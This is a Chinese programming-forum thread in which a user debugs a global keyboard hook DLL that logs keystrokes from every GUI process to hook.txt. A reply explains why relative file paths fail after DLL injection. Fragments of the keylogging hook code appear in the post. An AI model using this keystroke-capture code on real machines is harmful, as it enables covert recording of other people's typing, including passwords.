一个简单的问题:钩子记录结果保存的问题;请各为高手相助!!! 做了键盘钩子,但是有一点比较郁闷,就是结果只能保存在 C:\\盘,即是f1=fopen("c:\\hook.txt","w"); 这种能正常纪录结果。若是改成f1=fopen(".\\hook.txt","w"),或者f1=fopen("hook.txt","a+"),在钩子的EXE目录下有hook.txt生成,但是没有纪录结果;请指点!! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 钩子的原理是Dll注入,对于一次具体的Hook回调执行过程,其对应的当前目录,是被拦截的进程的当前目录,而不是创建钩子的.Exe的当前目录。因此,你必须直接指定具体目录,不可以用f1=fopen("hook.txt","a+")之类的方法。 注入钩子的时候,你的包含钩子代码的DLL被注入到系统每一个包含界面的进程中,不能只给一个相对路径。 可是我用GetModuleFileName()把结果指定具体目录到EXE的路径中,记录结果是空的,但是有hook.txt存在,Why? CString sPath1;//global variable................. CString sPath;GetModuleFileName(NULL,sPath.GetBufferSetLength(MAX_PATH+1),MAX_PATH);sPath.ReleaseBuffer();int nPos;nPos=sPath.ReverseFind('\\');sPath1=sPath+"\\hook.txt";...........char ch; if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) { f1=fopen(sPath1,"a+"); if (wParam==VK_RETURN) { ch='\n'; fwrite(&ch,1,1,f1); } else {........}...............BOOL __declspec(dllexport)__stdcall installhook(){ f1=fopen(sPath1,"w"); fclose(f1); hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0); return TRUE;} 牛人们,tcp 分包的标志是什么呢? 怎样用DBGrid删除记录 一个mpi函数调用的问题 dhtmldialog基类的拖放问题.底层的GetDropTarget封装 如何在VC下更改SQL的纪录 在对话框中插入一个ie控件,怎样模拟激活ie控件里面的html文本框 求MDI界面的数据库开发源代码。 逻辑坐标和实际坐标 高分问如何能够在程序中启动一dos程序,让其执行完后自动关闭起窗口呢? 如何把一个bmp或者jpg图像设为对话框的背景? 在怎么编程实现打开一个project并调试进入状态。(个人感觉有点bt的问题) 请教,关于后台程序的问题。想在cpu忙时处理别的任务,闲时处理我的任务。
.................
CString sPath;
GetModuleFileName(NULL,sPath.GetBufferSetLength(MAX_PATH+1),MAX_PATH);
sPath.ReleaseBuffer();
int nPos;
nPos=sPath.ReverseFind('\\');
sPath1=sPath+"\\hook.txt";
...........
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen(sPath1,"a+");
if (wParam==VK_RETURN)
{ ch='\n';
fwrite(&ch,1,1,f1);
}
else
{........
}
...............
BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen(sPath1,"w");
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
return TRUE;
}